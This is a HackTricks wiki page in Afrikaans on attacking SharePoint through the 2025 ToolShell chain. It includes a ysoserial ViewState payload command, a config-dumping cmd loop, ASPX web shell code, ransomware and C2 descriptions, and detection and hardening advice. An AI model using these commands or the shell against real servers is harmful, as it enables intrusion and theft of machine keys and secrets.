Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Microsoft SharePoint (on-premises) is gebou op ASP.NET/IIS. Die meeste van die klassieke web-aanvaloppervlak (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint verskaf ook honderde eie ASPX-bladsye en webdienste wat die blootgestelde aanvaloppervlak dramaties vergroot. Hierdie bladsy versamel praktiese truuks om te enumerate, te benut en volhard in SharePoint-omgewings met klem op die 2025-uitbuitingsketting wat deur Unit42 bekend gemaak is (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit ketting (ook bekend as “ToolShell”)
2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
laat willekeurige Server-Side Include kode toe om in die bladsy ingespuit te word wat later deur ASP.NET gecompileer word. 'n Aanvaller kan C# insluit wat Process.Start()
uitvoer en 'n kwaadwillige ViewState laat val.
2.2 CVE-2025-49706 – Onbehoorlike Verifikasie Omseiling
Dieselfde bladsy vertrou die X-Forms_BaseUrl kop om die webwerf konteks te bepaal. Deur dit na /_layouts/15/
te wys, kan MFA/SSO wat by die wortelwebwerf afgedwing word, sonder verifikasie omseil word.
2.3 CVE-2025-53770 – Onverifieerde ViewState Deserialisering → RCE
Sodra die aanvaller 'n gadget in ToolPane.aspx
beheer, kan hulle 'n ongetekende (of MAC-slegs) __VIEWSTATE
waarde plaas wat .NET deserialisering binne w3wp.exe aktiveer wat lei tot kode-uitvoering.
As ondertekening geaktiveer is, steel die ValidationKey/DecryptionKey van enige web.config
(sien 2.4) en vervals die payload met ysoserial.net of ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Vir 'n diepgaande verduideliking oor die misbruik van ASP.NET ViewState, lees:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Pad Traversal / web.config Ontsluiting
Deur 'n vervaardigde Source
parameter na ToolPane.aspx
te stuur (bv. ../../../../web.config
), word die geteikende lêer teruggestuur, wat die lekkasie van die volgende toelaat:
<machineKey validationKey="…" decryptionKey="…">
➜ vervals ViewState / ASPXAUTH koekies- verbindingstrings & geheime.
3. Post-exploitatie resepte waargeneem in die natuur
3.1 Exfiltreer elke .config lêer (variasie-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resulterende debug_dev.js
kan anoniem afgelaai word en bevat alle sensitiewe konfigurasie.
3.2 Ontplooi 'n Base64-gecodeerde ASPX web shell (variasie-2)
powershell.exe -EncodedCommand <base64>
Gedekodeerde payload voorbeeld (verkort):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschryf vir:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die skulp bied eindpunte om te lees / draai masjien sleutels wat die vervalsing van ViewState en ASPXAUTH koekies oor die plaas moontlik maak.
3.3 Obfuscated variasie (variasie-3)
Dieselfde skulp maar:
- gelaat onder
...\15\TEMPLATE\LAYOUTS\
- veranderlike name verminder tot enkele letters
Thread.Sleep(<ms>)
bygevoeg vir sandbox-ontvlugting & tyd-gebaseerde AV omseiling.
3.4 AK47C2 multi-protokol agterdeur & X2ANYLOCK ransomware (waargeneem 2025-2026)
Onlangse insident-respons ondersoeke (Unit42 “Project AK47”) toon hoe aanvallers die ToolShell ketting na aanvanklike RCE benut om 'n dubbel-kanaal C2 implantaat en ransomware in SharePoint omgewings te ontplooi:
AK47C2 – dnsclient
variasie
- Hard-gecodeerde DNS bediener:
10.7.66.10
wat kommunikeer met die gesaghebbende domeinupdate.updatemicfosoft.com
. - Boodskappe is JSON-objekte XOR-geënkripteer met die statiese sleutel
VHBD@H
, hex-gekodeer en ingebed as sub-domein etikette.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lang navrae word in stukke verdeel en met
s
voorafgegaan, dan weer saamgestel aan die bediener-kant. - Bediener antwoord in TXT rekords wat dieselfde XOR/hex skema dra:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Weergawe 202504 het 'n vereenvoudigde formaat
<COMMAND>::<SESSION_KEY>
en stuk merkers1
,2
,a
bekendgestel.
AK47C2 – httpclient
variasie
- Hergebruik die presies dieselfde JSON & XOR roetine maar stuur die hex blob in die HTTP POST liggaam via
libcurl
(CURLOPT_POSTFIELDS
, ens.). - Dieselfde taak/resultaat werkvloei wat toelaat:
- Arbitraire skulp opdrag uitvoering.
- Dinamiese slaap interval en kill-switch instruksies.
X2ANYLOCK ransomware
- 64-bit C++ payload gelaai deur DLL kant-laai (sien hieronder).
- Gebruik AES-CBC vir lêer data + RSA-2048 om die AES sleutel te verpak, dan voeg die uitbreiding
.x2anylock
by. - Herhaaldelik plaaslike skywe en ontdekte SMB deeljies enkripteer; slaat stelselpaaie oor.
- Laat 'n duidelike teksnota
How to decrypt my data.txt
agter wat 'n statiese Tox ID vir onderhandelinge insluit. - Bevat 'n interne kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL kant-laai ketting
- Aanvaller skryf
dllhijacked.dll
/My7zdllhijacked.dll
langs 'n wettige7z.exe
. - SharePoint-geboorte
w3wp.exe
begin7z.exe
, wat die kwaadwillige DLL laai as gevolg van Windows soekorde, wat die ransomware ingangspunt in geheue aanroep. - 'n Afsonderlike LockBit laaier waargeneem (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) dekripteer skulp-kode en voer DLL holing ind3dl1.dll
uit om LockBit 3.0 te laat loop.
info
Dieselfde statiese Tox ID wat in X2ANYLOCK gevind is, verskyn in gelekte LockBit databasisse, wat 'n ooreenkoms tussen vennote voorstel.
4. Opsporing idees
Telemetrie | Waarom dit verdag is |
---|---|
w3wp.exe → cmd.exe | Werknemer proses behoort selde 'n skulp te genereer |
cmd.exe → powershell.exe -EncodedCommand | Klassieke lolbin patroon |
Lêer gebeurtenisse wat debug_dev.js of spinstall0.aspx skep | IOCs regstreeks van ToolShell |
ProcessCmdLine BEVAT ToolPane.aspx (ETW/Module logs) | Publieke PoCs roep hierdie bladsy aan |
Voorbeeld XDR / Sysmon reël (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Versterking & Versagting
- Patch – Julie 2025 sekuriteitsopdaterings herstel alle vier CVE's.
- Draai elke
<machineKey>
enViewState
geheime na 'n kompromie. - Verwyder LAYOUTS skrywe toestemming van
WSS_WPG
&WSS_ADMIN_WPG
groepe. - Blokkeer eksterne toegang tot
/_layouts/15/ToolPane.aspx
op proxy/WAF vlak. - Aktiveer ViewStateUserKey, MAC geaktiveer, en pasgemaakte EventValidation.
Verwante truuks
- IIS post-exploitatie & web.config misbruik:
IIS - Internet Information Services
Verwysings
- Unit42 – Aktiewe Exploitatie van Microsoft SharePoint Kw vulnerabilities
- GitHub PoC – ToolShell exploit ketting
- Microsoft Sekuriteitsadvies – CVE-2025-49704 / 49706
- Unit42 – Projek AK47 / SharePoint Exploitatie & Ransomware Aktiwiteit
- Microsoft Sekuriteitsadvies – CVE-2025-53770 / 53771
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.